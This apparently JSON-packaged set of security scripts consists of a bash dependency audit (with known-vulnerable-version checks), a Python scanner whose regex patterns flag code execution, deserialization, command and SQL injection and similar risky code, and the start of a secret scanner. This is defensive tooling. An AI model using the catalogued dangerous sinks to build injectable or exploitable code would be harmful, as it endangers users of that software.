${GREEN}$PKG_MANAGER${NC}\"\necho \"\"\n\n# Check Python version\necho -e \"${BLUE}--- Python Version Check ---${NC}\"\nif command -v python3 &> /dev/null; then\n PYTHON_VERSION=$(python3 --version 2>&1)\n echo -e \"Python version: ${GREEN}$PYTHON_VERSION${NC}\"\nelif command -v python &> /dev/null; then\n PYTHON_VERSION=$(python --version 2>&1)\n echo -e \"Python version: ${GREEN}$PYTHON_VERSION${NC}\"\nfi\necho \"\"\n\n# Check for common vulnerable packages\necho -e \"${BLUE}--- Framework Version Check ---${NC}\"\n\ncheck_package_version() {\n local package=$1\n local file=$2\n\n if [ -f \"$file\" ]; then\n local version=$(grep -iE \"^${package}[=\u003c>~!]\" \"$file\" 2>/dev/null | head -1 || echo \"\")\n if [ -n \"$version\" ]; then\n echo -e \"${package}: ${GREEN}$version${NC}\"\n fi\n fi\n}\n\n# Check requirements.txt\nif [ -f \"requirements.txt\" ]; then\n check_package_version \"django\" \"requirements.txt\"\n check_package_version \"flask\" \"requirements.txt\"\n check_package_version \"fastapi\" \"requirements.txt\"\n check_package_version \"requests\" \"requirements.txt\"\n check_package_version \"pyyaml\" \"requirements.txt\"\n check_package_version \"pillow\" \"requirements.txt\"\n check_package_version \"urllib3\" \"requirements.txt\"\nfi\n\necho \"\"\n\n# Run security audit\necho -e \"${BLUE}--- Running Security Audit ---${NC}\"\necho \"\"\n\nAUDIT_EXIT_CODE=0\n\n# Try pip-audit first (recommended)\nif command -v pip-audit &> /dev/null; then\n echo \"Running: pip-audit\"\n pip-audit --format=json > /tmp/pip-audit-results.json 2>/dev/null || AUDIT_EXIT_CODE=$?\n\n if [ -f /tmp/pip-audit-results.json ] && [ -s /tmp/pip-audit-results.json ]; then\n VULN_COUNT=$(jq 'length' /tmp/pip-audit-results.json 2>/dev/null || echo \"0\")\n\n echo \"\"\n echo -e \"${BLUE}Vulnerability Summary:${NC}\"\n if [ \"$VULN_COUNT\" != \"0\" ] && [ \"$VULN_COUNT\" != \"null\" ]; then\n echo -e \" Found: ${RED}$VULN_COUNT vulnerabilities${NC}\"\n\n # Show details\n echo \"\"\n echo -e \"${BLUE}Details:${NC}\"\n jq -r '.[] | \" - \\(.name) \\(.version): \\(.vulns[0].id) - \\(.vulns[0].description // \"No description\")\"' /tmp/pip-audit-results.json 2>/dev/null || true\n else\n echo -e \" ${GREEN}No known vulnerabilities found${NC}\"\n fi\n fi\n\n# Fallback to safety\nelif command -v safety &> /dev/null; then\n echo \"Running: safety check\"\n\n case $PKG_MANAGER in\n pip)\n safety check -r requirements.txt --json > /tmp/safety-results.json 2>/dev/null || AUDIT_EXIT_CODE=$?\n ;;\n pipenv)\n safety check --json > /tmp/safety-results.json 2>/dev/null || AUDIT_EXIT_CODE=$?\n ;;\n poetry)\n poetry export -f requirements.txt --output /tmp/poetry-requirements.txt 2>/dev/null\n safety check -r /tmp/poetry-requirements.txt --json > /tmp/safety-results.json 2>/dev/null || AUDIT_EXIT_CODE=$?\n ;;\n esac\n\n if [ -f /tmp/safety-results.json ]; then\n echo \"\"\n echo \"Audit complete. Review /tmp/safety-results.json for details.\"\n fi\n\nelse\n echo -e \"${YELLOW}Warning: Neither pip-audit nor safety is installed.${NC}\"\n echo \"Install with: pip install pip-audit\"\n echo \" or: pip install safety\"\nfi\n\necho \"\"\n\n# Check for outdated packages\necho -e \"${BLUE}--- Checking for Outdated Packages ---${NC}\"\necho \"\"\n\ncase $PKG_MANAGER in\n pip)\n if command -v pip &> /dev/null; then\n pip list --outdated 2>/dev/null | head -20 || true\n fi\n ;;\n pipenv)\n if command -v pipenv &> /dev/null; then\n pipenv update --outdated 2>/dev/null | head -20 || true\n fi\n ;;\n poetry)\n if command -v poetry &> /dev/null; then\n poetry show --outdated 2>/dev/null | head -20 || true\n fi\n ;;\nesac\n\necho \"\"\n\n# Check for known vulnerable patterns in requirements\necho -e \"${BLUE}--- Known Vulnerable Version Check ---${NC}\"\necho \"\"\n\ncheck_vulnerable_versions() {\n local req_file=$1\n\n if [ ! -f \"$req_file\" ]; then\n return\n fi\n\n # Known vulnerable version patterns\n local vulnerabilities_found=0\n\n # PyYAML \u003c 5.4 (CVE-2020-14343)\n if grep -qiE \"^pyyaml[=\u003c>~!]*[0-4]\\.\" \"$req_file\" 2>/dev/null; then\n echo -e \"${RED}[CRITICAL] PyYAML \u003c 5.4 detected - CVE-2020-14343 (arbitrary code execution)${NC}\"\n vulnerabilities_found=1\n fi\n\n # Pillow \u003c 9.0.0 (multiple CVEs)\n if grep -qiE \"^pillow[=\u003c>~!]*[0-8]\\.\" \"$req_file\" 2>/dev/null; then\n echo -e \"${RED}[HIGH] Pillow \u003c 9.0.0 detected - multiple CVEs${NC}\"\n vulnerabilities_found=1\n fi\n\n # urllib3 \u003c 1.26.5 (CVE-2021-33503)\n if grep -qiE \"^urllib3[=\u003c>~!]*1\\.(25|24|23|22|21|20|19|18)\" \"$req_file\" 2>/dev/null; then\n echo -e \"${YELLOW}[MEDIUM] urllib3 \u003c 1.26.5 detected - CVE-2021-33503${NC}\"\n vulnerabilities_found=1\n fi\n\n # requests \u003c 2.20.0 (CVE-2018-18074)\n if grep -qiE \"^requests[=\u003c>~!]*2\\.(19|18|17|16|15|14|13|12|11|10|[0-9])\\.\" \"$req_file\" 2>/dev/null; then\n echo -e \"${YELLOW}[MEDIUM] requests \u003c 2.20.0 detected - CVE-2018-18074${NC}\"\n vulnerabilities_found=1\n fi\n\n # Django \u003c 3.2.4 (multiple CVEs)\n if grep -qiE \"^django[=\u003c>~!]*(1\\.|2\\.[0-1]|3\\.[0-1]|3\\.2\\.[0-3])\" \"$req_file\" 2>/dev/null; then\n echo -e \"${RED}[HIGH] Django \u003c 3.2.4 detected - multiple security vulnerabilities${NC}\"\n vulnerabilities_found=1\n fi\n\n # Flask \u003c 2.0.0 (security improvements)\n if grep -qiE \"^flask[=\u003c>~!]*(0\\.|1\\.)\" \"$req_file\" 2>/dev/null; then\n echo -e \"${YELLOW}[MEDIUM] Flask \u003c 2.0.0 detected - consider upgrading for security improvements${NC}\"\n vulnerabilities_found=1\n fi\n\n # Jinja2 \u003c 2.11.3 (CVE-2020-28493)\n if grep -qiE \"^jinja2[=\u003c>~!]*2\\.(10|[0-9])\\.\" \"$req_file\" 2>/dev/null; then\n echo -e \"${YELLOW}[MEDIUM] Jinja2 \u003c 2.11.3 detected - CVE-2020-28493${NC}\"\n vulnerabilities_found=1\n fi\n\n # cryptography \u003c 3.3.2 (CVE-2020-36242)\n if grep -qiE \"^cryptography[=\u003c>~!]*(2\\.|3\\.[0-2]\\.)\" \"$req_file\" 2>/dev/null; then\n echo -e \"${YELLOW}[MEDIUM] cryptography \u003c 3.3.2 detected - CVE-2020-36242${NC}\"\n vulnerabilities_found=1\n fi\n\n if [ $vulnerabilities_found -eq 0 ]; then\n echo -e \"${GREEN}No known vulnerable version patterns detected${NC}\"\n fi\n}\n\ncase $PKG_MANAGER in\n pip)\n check_vulnerable_versions \"requirements.txt\"\n ;;\n pipenv)\n # Convert Pipfile to check\n if command -v pipenv &> /dev/null; then\n pipenv requirements > /tmp/pipenv-requirements.txt 2>/dev/null || true\n check_vulnerable_versions \"/tmp/pipenv-requirements.txt\"\n fi\n ;;\n poetry)\n if command -v poetry &> /dev/null; then\n poetry export -f requirements.txt --output /tmp/poetry-requirements.txt 2>/dev/null || true\n check_vulnerable_versions \"/tmp/poetry-requirements.txt\"\n fi\n ;;\nesac\n\necho \"\"\necho -e \"${BLUE}========================================${NC}\"\necho -e \"${BLUE} Audit Complete${NC}\"\necho -e \"${BLUE}========================================${NC}\"\n\n# Recommendations\necho \"\"\necho -e \"${BLUE}Recommendations:${NC}\"\necho \"1. Install pip-audit for comprehensive vulnerability scanning: pip install pip-audit\"\necho \"2. Run 'pip-audit --fix' to automatically update vulnerable packages\"\necho \"3. Consider using 'pip-compile' with hashes for reproducible builds\"\necho \"4. Set up automated dependency scanning in CI/CD\"\n\n# Exit with audit code if vulnerabilities found\nexit $AUDIT_EXIT_CODE\n","content_type":"application/x-sh; charset=utf-8","language":"bash","size":8699,"content_sha256":"5cd42ebf95199a6331ba2340740186b716316a7cf129d2f804214d63104975ca"},{"filename":"scripts/pattern-scanner.py","content":"#!/usr/bin/env python3\n\"\"\"\nPattern Scanner for Python Security Vulnerabilities\nScans Python codebases for common security vulnerability patterns.\n\"\"\"\n\nimport os\nimport re\nimport sys\nimport json\nimport argparse\nfrom pathlib import Path\nfrom dataclasses import dataclass, asdict\nfrom typing import List, Dict, Optional, Set\nfrom collections import defaultdict\n\n# ANSI colors\nRED = '\\033[0;31m'\nYELLOW = '\\033[1;33m'\nGREEN = '\\033[0;32m'\nBLUE = '\\033[0;34m'\nCYAN = '\\033[0;36m'\nNC = '\\033[0m'\n\n\n@dataclass\nclass Finding:\n \"\"\"Represents a security finding.\"\"\"\n file: str\n line_number: int\n line_content: str\n category: str\n pattern_name: str\n severity: str\n description: str\n cwe: str\n recommendation: str\n\n\n# Vulnerability patterns organized by category\nVULNERABILITY_PATTERNS = {\n \"code_execution\": [\n {\n \"name\": \"eval() usage\",\n \"pattern\": r\"\\beval\\s*\\(\",\n \"severity\": \"CRITICAL\",\n \"description\": \"eval() can execute arbitrary code\",\n \"cwe\": \"CWE-94\",\n \"recommendation\": \"Use ast.literal_eval() for safe evaluation of literals\"\n },\n {\n \"name\": \"exec() usage\",\n \"pattern\": r\"\\bexec\\s*\\(\",\n \"severity\": \"CRITICAL\",\n \"description\": \"exec() can execute arbitrary code\",\n \"cwe\": \"CWE-94\",\n \"recommendation\": \"Avoid exec() with user input. Consider safer alternatives\"\n },\n {\n \"name\": \"compile() with user input\",\n \"pattern\": r\"\\bcompile\\s*\\([^)]*['\\\"]eval['\\\"]\",\n \"severity\": \"HIGH\",\n \"description\": \"compile() with eval mode can lead to code execution\",\n \"cwe\": \"CWE-94\",\n \"recommendation\": \"Avoid compiling user-provided code\"\n },\n ],\n\n \"deserialization\": [\n {\n \"name\": \"pickle.loads()\",\n \"pattern\": r\"pickle\\.loads?\\s*\\(\",\n \"severity\": \"CRITICAL\",\n \"description\": \"pickle can execute arbitrary code during deserialization\",\n \"cwe\": \"CWE-502\",\n \"recommendation\": \"Use JSON for untrusted data. Never unpickle untrusted data\"\n },\n {\n \"name\": \"cPickle usage\",\n \"pattern\": r\"cPickle\\.loads?\\s*\\(\",\n \"severity\": \"CRITICAL\",\n \"description\": \"cPickle has same vulnerabilities as pickle\",\n \"cwe\": \"CWE-502\",\n \"recommendation\": \"Use JSON for untrusted data\"\n },\n {\n \"name\": \"yaml.load() unsafe\",\n \"pattern\": r\"yaml\\.load\\s*\\([^)]*\\)(?!\\s*,\\s*Loader\\s*=\\s*yaml\\.SafeLoader)\",\n \"severity\": \"CRITICAL\",\n \"description\": \"yaml.load() can execute arbitrary code\",\n \"cwe\": \"CWE-502\",\n \"recommendation\": \"Use yaml.safe_load() instead\"\n },\n {\n \"name\": \"marshal.loads()\",\n \"pattern\": r\"marshal\\.loads?\\s*\\(\",\n \"severity\": \"HIGH\",\n \"description\": \"marshal can deserialize code objects\",\n \"cwe\": \"CWE-502\",\n \"recommendation\": \"Never unmarshal untrusted data\"\n },\n {\n \"name\": \"shelve with untrusted data\",\n \"pattern\": r\"shelve\\.open\\s*\\(\",\n \"severity\": \"HIGH\",\n \"description\": \"shelve uses pickle internally\",\n \"cwe\": \"CWE-502\",\n \"recommendation\": \"Use database with JSON for untrusted data\"\n },\n ],\n\n \"command_injection\": [\n {\n \"name\": \"os.system()\",\n \"pattern\": r\"os\\.system\\s*\\(\",\n \"severity\": \"HIGH\",\n \"description\": \"os.system() is vulnerable to command injection\",\n \"cwe\": \"CWE-78\",\n \"recommendation\": \"Use subprocess.run() with shell=False\"\n },\n {\n \"name\": \"os.popen()\",\n \"pattern\": r\"os\\.popen\\s*\\(\",\n \"severity\": \"HIGH\",\n \"description\": \"os.popen() is vulnerable to command injection\",\n \"cwe\": \"CWE-78\",\n \"recommendation\": \"Use subprocess.run() with shell=False\"\n },\n {\n \"name\": \"subprocess with shell=True\",\n \"pattern\": r\"subprocess\\.(call|run|Popen|check_output|check_call)\\s*\\([^)]*shell\\s*=\\s*True\",\n \"severity\": \"HIGH\",\n \"description\": \"shell=True enables shell injection\",\n \"cwe\": \"CWE-78\",\n \"recommendation\": \"Use shell=False and pass arguments as list\"\n },\n {\n \"name\": \"subprocess with f-string\",\n \"pattern\": r\"subprocess\\.(call|run|Popen|check_output|check_call)\\s*\\(\\s*f['\\\"]\",\n \"severity\": \"HIGH\",\n \"description\": \"String formatting in subprocess can lead to injection\",\n \"cwe\": \"CWE-78\",\n \"recommendation\": \"Pass arguments as list instead of formatted string\"\n },\n ],\n\n \"sql_injection\": [\n {\n \"name\": \"SQL with f-string\",\n \"pattern\": r\"\\.execute\\s*\\(\\s*f['\\\"]\",\n \"severity\": \"CRITICAL\",\n \"description\": \"String formatting in SQL queries leads to injection\",\n \"cwe\": \"CWE-89\",\n \"recommendation\": \"Use parameterized queries\"\n },\n {\n \"name\": \"SQL with % formatting\",\n \"pattern\": r\"\\.execute\\s*\\([^)]*%\\s*\\(\",\n \"severity\": \"CRITICAL\",\n \"description\": \"String formatting in SQL queries leads to injection\",\n \"cwe\": \"CWE-89\",\n \"recommendation\": \"Use parameterized queries\"\n },\n {\n \"name\": \"SQL with concatenation\",\n \"pattern\": r\"\\.execute\\s*\\(\\s*['\\\"][^'\\\"]*['\\\"]\\s*\\+\",\n \"severity\": \"CRITICAL\",\n \"description\": \"String concatenation in SQL leads to injection\",\n \"cwe\": \"CWE-89\",\n \"recommendation\": \"Use parameterized queries\"\n },\n {\n \"name\": \"Django raw() with formatting\",\n \"pattern\": r\"\\.raw\\s*\\(\\s*f['\\\"]\",\n \"severity\": \"CRITICAL\",\n \"description\": \"String formatting in Django raw() leads to SQL injection\",\n \"cwe\": \"CWE-89\",\n \"recommendation\": \"Use parameterized raw queries or ORM querysets\"\n },\n {\n \"name\": \"SQLAlchemy text() with formatting\",\n \"pattern\": r\"text\\s*\\(\\s*f['\\\"]\",\n \"severity\": \"CRITICAL\",\n \"description\": \"String formatting in SQLAlchemy text() leads to injection\",\n \"cwe\": \"CWE-89\",\n \"recommendation\": \"Use bound parameters with text()\"\n },\n ],\n\n \"xss\": [\n {\n \"name\": \"mark_safe() with user input\",\n \"pattern\": r\"mark_safe\\s*\\(\",\n \"severity\": \"HIGH\",\n \"description\": \"mark_safe() disables Django's auto-escaping\",\n \"cwe\": \"CWE-79\",\n \"recommendation\": \"Sanitize input with bleach before marking safe\"\n },\n {\n \"name\": \"Markup() with user input\",\n \"pattern\": r\"Markup\\s*\\(\",\n \"severity\": \"HIGH\",\n \"description\": \"Markup() disables Jinja2's auto-escaping\",\n \"cwe\": \"CWE-79\",\n \"recommendation\": \"Sanitize input before marking as safe\"\n },\n {\n \"name\": \"|safe filter\",\n \"pattern\": r\"\\|\\s*safe\\s*[%}]\",\n \"severity\": \"HIGH\",\n \"description\": \"|safe filter disables template escaping\",\n \"cwe\": \"CWE-79\",\n \"recommendation\": \"Remove |safe or sanitize input first\"\n },\n {\n \"name\": \"render_template_string()\",\n \"pattern\": r\"render_template_string\\s*\\(\",\n \"severity\": \"CRITICAL\",\n \"description\": \"render_template_string() can lead to SSTI\",\n \"cwe\": \"CWE-94\",\n \"recommendation\": \"Use render_template() with file-based templates\"\n },\n ],\n\n \"authentication\": [\n {\n \"name\": \"Weak password hashing (MD5)\",\n \"pattern\": r\"hashlib\\.md5\\s*\\([^)]*password\",\n \"severity\": \"HIGH\",\n \"description\": \"MD5 is cryptographically broken for passwords\",\n \"cwe\": \"CWE-328\",\n \"recommendation\": \"Use bcrypt, argon2, or passlib\"\n },\n {\n \"name\": \"Weak password hashing (SHA1)\",\n \"pattern\": r\"hashlib\\.sha1\\s*\\([^)]*password\",\n \"severity\": \"HIGH\",\n \"description\": \"SHA1 is not suitable for password hashing\",\n \"cwe\": \"CWE-328\",\n \"recommendation\": \"Use bcrypt, argon2, or passlib\"\n },\n {\n \"name\": \"Weak password hashing (SHA256 without salt)\",\n \"pattern\": r\"hashlib\\.sha256\\s*\\([^)]*password[^)]*\\)\\.hexdigest\",\n \"severity\": \"MEDIUM\",\n \"description\": \"Password hashing without salt is vulnerable\",\n \"cwe\": \"CWE-916\",\n \"recommendation\": \"Use bcrypt or argon2 which handle salting automatically\"\n },\n {\n \"name\": \"JWT without verification\",\n \"pattern\": r\"jwt\\.decode\\s*\\([^)]*verify\\s*=\\s*False\",\n \"severity\": \"CRITICAL\",\n \"description\": \"JWT decoded without signature verification\",\n \"cwe\": \"CWE-347\",\n \"recommendation\": \"Always verify JWT signatures\"\n },\n {\n \"name\": \"JWT verify_signature=False\",\n \"pattern\": r\"jwt\\.decode\\s*\\([^)]*['\\\"]verify_signature['\\\"]\\s*:\\s*False\",\n \"severity\": \"CRITICAL\",\n \"description\": \"JWT signature verification disabled\",\n \"cwe\": \"CWE-347\",\n \"recommendation\": \"Enable signature verification\"\n },\n ],\n\n \"cryptography\": [\n {\n \"name\": \"Weak random (random module)\",\n \"pattern\": r\"random\\.(randint|choice|random|sample|randrange)\\s*\\(\",\n \"severity\": \"MEDIUM\",\n \"description\": \"random module is not cryptographically secure\",\n \"cwe\": \"CWE-330\",\n \"recommendation\": \"Use secrets module for security-sensitive randomness\"\n },\n {\n \"name\": \"DES encryption\",\n \"pattern\": r\"(DES|Blowfish)\\s*\\(\",\n \"severity\": \"HIGH\",\n \"description\": \"DES/Blowfish are outdated encryption algorithms\",\n \"cwe\": \"CWE-327\",\n \"recommendation\": \"Use AES-256-GCM or ChaCha20-Poly1305\"\n },\n {\n \"name\": \"ECB mode\",\n \"pattern\": r\"MODE_ECB|AES\\.MODE_ECB\",\n \"severity\": \"HIGH\",\n \"description\": \"ECB mode reveals patterns in encrypted data\",\n \"cwe\": \"CWE-327\",\n \"recommendation\": \"Use GCM or CBC with proper IV\"\n },\n ],\n\n \"path_traversal\": [\n {\n \"name\": \"Path concatenation\",\n \"pattern\": r\"open\\s*\\(\\s*['\\\"][^'\\\"]*['\\\"]\\s*\\+\",\n \"severity\": \"HIGH\",\n \"description\": \"Path concatenation can lead to traversal\",\n \"cwe\": \"CWE-22\",\n \"recommendation\": \"Use os.path.join() and validate path is within allowed directory\"\n },\n {\n \"name\": \"f-string in file path\",\n \"pattern\": r\"open\\s*\\(\\s*f['\\\"]\",\n \"severity\": \"MEDIUM\",\n \"description\": \"Dynamic file paths may be vulnerable to traversal\",\n \"cwe\": \"CWE-22\",\n \"recommendation\": \"Validate path is within allowed directory\"\n },\n {\n \"name\": \"send_file/send_from_directory\",\n \"pattern\": r\"send_(file|from_directory)\\s*\\(\",\n \"severity\": \"MEDIUM\",\n \"description\": \"File serving functions need path validation\",\n \"cwe\": \"CWE-22\",\n \"recommendation\": \"Use secure_filename() and validate paths\"\n },\n ],\n\n \"ssrf\": [\n {\n \"name\": \"requests with user URL\",\n \"pattern\": r\"requests\\.(get|post|put|delete|patch|head)\\s*\\([^)]*request\\.(args|form|json)\",\n \"severity\": \"HIGH\",\n \"description\": \"User-controlled URLs can lead to SSRF\",\n \"cwe\": \"CWE-918\",\n \"recommendation\": \"Validate URLs against allowlist, block internal IPs\"\n },\n {\n \"name\": \"urllib with user URL\",\n \"pattern\": r\"urllib\\.request\\.(urlopen|Request)\\s*\\(\",\n \"severity\": \"MEDIUM\",\n \"description\": \"URL requests need validation\",\n \"cwe\": \"CWE-918\",\n \"recommendation\": \"Validate URLs against allowlist\"\n },\n {\n \"name\": \"httpx/aiohttp with user URL\",\n \"pattern\": r\"(httpx|aiohttp)\\.(get|post|AsyncClient)\\s*\\(\",\n \"severity\": \"MEDIUM\",\n \"description\": \"HTTP clients need URL validation\",\n \"cwe\": \"CWE-918\",\n \"recommendation\": \"Validate URLs against allowlist\"\n },\n ],\n\n \"xxe\": [\n {\n \"name\": \"XML parsing (ElementTree)\",\n \"pattern\": r\"xml\\.etree\\.ElementTree\\.(parse|fromstring)\\s*\\(\",\n \"severity\": \"MEDIUM\",\n \"description\": \"ElementTree may be vulnerable to XXE\",\n \"cwe\": \"CWE-611\",\n \"recommendation\": \"Use defusedxml instead\"\n },\n {\n \"name\": \"lxml parsing\",\n \"pattern\": r\"lxml\\.etree\\.(parse|fromstring)\\s*\\(\",\n \"severity\": \"MEDIUM\",\n \"description\": \"lxml may be vulnerable to XXE\",\n \"cwe\": \"CWE-611\",\n \"recommendation\": \"Use defusedxml or disable external entities\"\n },\n {\n \"name\": \"xml.dom.minidom\",\n \"pattern\": r\"xml\\.dom\\.minidom\\.parse\\s*\\(\",\n \"severity\": \"MEDIUM\",\n \"description\": \"minidom may be vulnerable to XXE\",\n \"cwe\": \"CWE-611\",\n \"recommendation\": \"Use defusedxml instead\"\n },\n ],\n\n \"framework_specific\": [\n {\n \"name\": \"Flask debug mode\",\n \"pattern\": r\"app\\.run\\s*\\([^)]*debug\\s*=\\s*True\",\n \"severity\": \"CRITICAL\",\n \"description\": \"Debug mode exposes Werkzeug debugger\",\n \"cwe\": \"CWE-489\",\n \"recommendation\": \"Disable debug mode in production\"\n },\n {\n \"name\": \"Django DEBUG=True\",\n \"pattern\": r\"DEBUG\\s*=\\s*True\",\n \"severity\": \"HIGH\",\n \"description\": \"Django debug mode exposes sensitive info\",\n \"cwe\": \"CWE-489\",\n \"recommendation\": \"Set DEBUG=False in production\"\n },\n {\n \"name\": \"@csrf_exempt\",\n \"pattern\": r\"@csrf_exempt\",\n \"severity\": \"MEDIUM\",\n \"description\": \"CSRF protection disabled for this view\",\n \"cwe\": \"CWE-352\",\n \"recommendation\": \"Enable CSRF protection or use API tokens\"\n },\n {\n \"name\": \"CORS allow all origins\",\n \"pattern\": r\"allow_origins\\s*=\\s*\\[\\s*['\\\"]?\\*['\\\"]?\\s*\\]\",\n \"severity\": \"MEDIUM\",\n \"description\": \"CORS allows all origins\",\n \"cwe\": \"CWE-942\",\n \"recommendation\": \"Specify allowed origins explicitly\"\n },\n ],\n\n \"miscellaneous\": [\n {\n \"name\": \"assert for security\",\n \"pattern\": r\"assert\\s+.*\\.(is_admin|is_authenticated|has_permission)\",\n \"severity\": \"MEDIUM\",\n \"description\": \"assert statements are removed with -O flag\",\n \"cwe\": \"CWE-617\",\n \"recommendation\": \"Use explicit if statements for security checks\"\n },\n {\n \"name\": \"Temporary file without secure creation\",\n \"pattern\": r\"open\\s*\\([^)]*['\\\"]\\/tmp\\/\",\n \"severity\": \"LOW\",\n \"description\": \"Insecure temporary file creation\",\n \"cwe\": \"CWE-377\",\n \"recommendation\": \"Use tempfile module for secure temp files\"\n },\n {\n \"name\": \"Hardcoded IP address\",\n \"pattern\": r\"['\\\"](\\d{1,3}\\.){3}\\d{1,3}['\\\"]\",\n \"severity\": \"LOW\",\n \"description\": \"Hardcoded IP addresses reduce flexibility\",\n \"cwe\": \"CWE-798\",\n \"recommendation\": \"Use configuration or environment variables\"\n },\n ],\n}\n\n# Files and directories to skip\nSKIP_DIRS = {\n '.git', '.svn', '.hg', 'node_modules', '__pycache__', '.venv', 'venv',\n 'env', '.tox', '.pytest_cache', '.mypy_cache', 'build', 'dist',\n 'egg-info', '.eggs', 'site-packages', 'migrations'\n}\n\n\ndef should_skip_path(path: Path) -> bool:\n \"\"\"Check if path should be skipped.\"\"\"\n for part in path.parts:\n if part in SKIP_DIRS:\n return True\n return False\n\n\ndef scan_line(line: str, line_number: int, file_path: str,\n categories: Optional[Set[str]] = None) -> List[Finding]:\n \"\"\"Scan a single line for vulnerabilities.\"\"\"\n findings = []\n\n # Skip comments (but still scan docstrings)\n stripped = line.strip()\n if stripped.startswith('#'):\n return findings\n\n for category, patterns in VULNERABILITY_PATTERNS.items():\n # Filter by category if specified\n if categories and category not in categories:\n continue\n\n for pattern_info in patterns:\n if re.search(pattern_info[\"pattern\"], line):\n findings.append(Finding(\n file=file_path,\n line_number=line_number,\n line_content=line.strip()[:100],\n category=category,\n pattern_name=pattern_info[\"name\"],\n severity=pattern_info[\"severity\"],\n description=pattern_info[\"description\"],\n cwe=pattern_info[\"cwe\"],\n recommendation=pattern_info[\"recommendation\"]\n ))\n\n return findings\n\n\ndef scan_file(file_path: Path, categories: Optional[Set[str]] = None) -> List[Finding]:\n \"\"\"Scan a file for vulnerabilities.\"\"\"\n findings = []\n\n if not file_path.suffix in {'.py', '.pyw', '.pyx'}:\n return findings\n\n try:\n with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:\n for line_number, line in enumerate(f, 1):\n findings.extend(scan_line(line, line_number, str(file_path), categories))\n except Exception as e:\n print(f\"{YELLOW}Warning: Could not scan {file_path}: {e}{NC}\", file=sys.stderr)\n\n return findings\n\n\ndef scan_directory(directory: Path, categories: Optional[Set[str]] = None,\n verbose: bool = False) -> List[Finding]:\n \"\"\"Scan a directory for vulnerabilities.\"\"\"\n all_findings = []\n files_scanned = 0\n\n for root, dirs, files in os.walk(directory):\n dirs[:] = [d for d in dirs if d not in SKIP_DIRS and not d.startswith('.')]\n\n for file in files:\n if not file.endswith(('.py', '.pyw', '.pyx')):\n continue\n\n file_path = Path(root) / file\n\n if should_skip_path(file_path):\n continue\n\n if verbose:\n print(f\"Scanning: {file_path}\")\n\n findings = scan_file(file_path, categories)\n all_findings.extend(findings)\n files_scanned += 1\n\n if verbose:\n print(f\"\\nScanned {files_scanned} Python files\")\n\n return all_findings\n\n\ndef print_findings(findings: List[Finding], format: str = 'text') -> None:\n \"\"\"Print findings in specified format.\"\"\"\n if format == 'json':\n output = [asdict(f) for f in findings]\n print(json.dumps(output, indent=2))\n return\n\n if not findings:\n print(f\"{GREEN}No vulnerabilities found!{NC}\")\n return\n\n # Group by severity\n by_severity = defaultdict(list)\n for f in findings:\n by_severity[f.severity].append(f)\n\n severity_order = ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW', 'INFO']\n severity_colors = {\n 'CRITICAL': RED,\n 'HIGH': RED,\n 'MEDIUM': YELLOW,\n 'LOW': GREEN,\n 'INFO': BLUE\n }\n\n print(f\"\\n{BLUE}========================================{NC}\")\n print(f\"{BLUE} Security Pattern Scan Results{NC}\")\n print(f\"{BLUE}========================================{NC}\")\n print(f\"\\nFound {RED}{len(findings)}{NC} potential vulnerabilities\\n\")\n\n # Summary by category\n by_category = defaultdict(int)\n for f in findings:\n by_category[f.category] += 1\n\n print(f\"{CYAN}By Category:{NC}\")\n for cat, count in sorted(by_category.items(), key=lambda x: -x[1]):\n print(f\" {cat}: {count}\")\n print()\n\n # Detailed findings\n for severity in severity_order:\n if severity not in by_severity:\n continue\n\n color = severity_colors.get(severity, NC)\n print(f\"{color}[{severity}]{NC} ({len(by_severity[severity])} findings)\")\n print(\"-\" * 50)\n\n for finding in by_severity[severity]:\n print(f\" {finding.pattern_name}\")\n print(f\" File: {finding.file}:{finding.line_number}\")\n print(f\" Line: {finding.line_content}\")\n print(f\" CWE: {finding.cwe}\")\n print(f\" Fix: {finding.recommendation}\")\n print()\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Scan Python projects for security vulnerability patterns'\n )\n parser.add_argument(\n 'path',\n nargs='?',\n default='.',\n help='Path to scan (default: current directory)'\n )\n parser.add_argument(\n '-c', '--category',\n action='append',\n choices=list(VULNERABILITY_PATTERNS.keys()),\n help='Scan only specific categories (can be repeated)'\n )\n parser.add_argument(\n '-f', '--format',\n choices=['text', 'json'],\n default='text',\n help='Output format (default: text)'\n )\n parser.add_argument(\n '-v', '--verbose',\n action='store_true',\n help='Verbose output'\n )\n parser.add_argument(\n '--list-categories',\n action='store_true',\n help='List available categories'\n )\n parser.add_argument(\n '--exit-code',\n action='store_true',\n help='Exit with non-zero code if vulnerabilities found'\n )\n\n args = parser.parse_args()\n\n if args.list_categories:\n print(\"Available categories:\")\n for cat in VULNERABILITY_PATTERNS.keys():\n count = len(VULNERABILITY_PATTERNS[cat])\n print(f\" {cat} ({count} patterns)\")\n return\n\n path = Path(args.path).resolve()\n categories = set(args.category) if args.category else None\n\n if not path.exists():\n print(f\"{RED}Error: Path does not exist: {path}{NC}\", file=sys.stderr)\n sys.exit(1)\n\n if path.is_file():\n findings = scan_file(path, categories)\n else:\n findings = scan_directory(path, categories, verbose=args.verbose)\n\n print_findings(findings, format=args.format)\n\n if args.exit_code and findings:\n critical_high = sum(1 for f in findings if f.severity in ['CRITICAL', 'HIGH'])\n sys.exit(min(critical_high, 125))\n\n\nif __name__ == '__main__':\n main()\n","content_type":"text/x-python; charset=utf-8","language":"python","size":22955,"content_sha256":"af91545027f314e7f9ad471136d559baa6bcf87ff583cfb68dfb9cad4af37e53"},{"filename":"scripts/secret-scanner.py","content":"#!/usr/bin/env python3\n\"\"\"\nSecret Scanner for Python Projects\nScans for hardcoded secrets, API keys, and credentials in Python codebases.\n\nBy default, this scanner:\n- SKIPS real .env files (.env, .env.local, .env.production, etc.)\n- SCANS .env.example/.env.template files to analyze template configuration\n- Use --include-env-files to explicitly scan real .env files (not recommended)\n\"\"\"\n\nimport os\nimport re\nimport sys\nimport json\nimport argparse\nfrom pathlib import Path\nfrom dataclasses import dataclass, asdict\nfrom typing import List, Dict, Optional\nfrom collections import defaultdict\n\n# ANSI colors\nRED = '\\033[0;31m'\nYELLOW = '\\033[1;33m'\nGREEN = '\\033[0;32m'\nBLUE = '\\033[0;34m'\nCYAN = '\\033[0;36m'\nNC = '\\033[0m' # No Color\n\n\n@dataclass\nclass Finding:\n \"\"\"Represents a security finding.\"\"\"\n file: str\n line_number: int\n line_content: str\n pattern_name: str\n severity: str\n description: str\n recommendation: str\n\n\n@dataclass\nclass EnvTemplateAnalysis:\n \"\"\"Analysis of .env.example template 